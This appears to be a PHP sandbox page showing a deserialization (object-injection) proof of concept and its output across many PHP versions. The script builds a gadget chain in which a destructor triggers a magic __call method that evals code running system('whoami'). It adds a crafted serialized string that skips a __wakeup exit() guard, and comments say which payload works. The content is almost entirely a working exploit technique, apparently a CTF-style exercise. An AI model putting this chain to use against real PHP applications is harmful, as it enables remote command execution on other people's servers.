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<?php class A { public $info; private $end = "1"; public function __destruct() { $this->info->func(); } } class B { public $end; public function __wakeup() { $this->end = "exit();"; echo '__wakeup'; } public function __call($method, $args) { eval('echo "aaaa";' . $this->end . 'system("whoami");'); } } // $b = new B(); // $a = new A(); // $a->info = $b; // var_dump(serialize($a)); $data = 'O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}'; unserialize($data); // useful // data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";} // useless // data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"\x00A\x00end";s:1:"1";}
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/qpCCg on line 5
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/qpCCg on line 5
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/qpCCg on line 5
Process exited with code 255.
Output for 5.0.0 - 5.0.5, 5.1.1 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.24, 7.0.0 - 7.0.14
__wakeupaaaa
Output for 5.1.0
Fatal error: fatal flex scanner internal error--end of buffer missed in /in/qpCCg on line 42
Process exited with code 255.
Output for 5.6.25, 5.6.26 - 5.6.40
__wakeup Notice: unserialize(): Error at offset 57 of 66 bytes in /in/qpCCg on line 37
Output for 7.0.15 - 7.0.33
aaaa Warning: system(): Unable to fork [whoami] in /in/qpCCg(26) : eval()'d code on line 1 __wakeup Notice: unserialize(): Error at offset 57 of 66 bytes in /in/qpCCg on line 37
Output for 7.1.0
__wakeup Notice: unserialize(): Error at offset 57 of 66 bytes in /in/qpCCg on line 37 aaaa
Output for 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.34, 8.2.0 - 8.2.34
Notice: unserialize(): Error at offset 57 of 66 bytes in /in/qpCCg on line 37 aaaa Warning: system(): Unable to fork [whoami] in /in/qpCCg(26) : eval()'d code on line 1 __wakeup
Output for 8.3.0 - 8.3.35, 8.4.1 - 8.4.26, 8.5.0 - 8.5.11
Warning: unserialize(): Error at offset 57 of 66 bytes in /in/qpCCg on line 37 aaaa Warning: system(): Unable to fork [whoami] in /in/qpCCg(26) : eval()'d code on line 1 __wakeup
preferences:
50.2 ms | 1181 KiB | 30 Q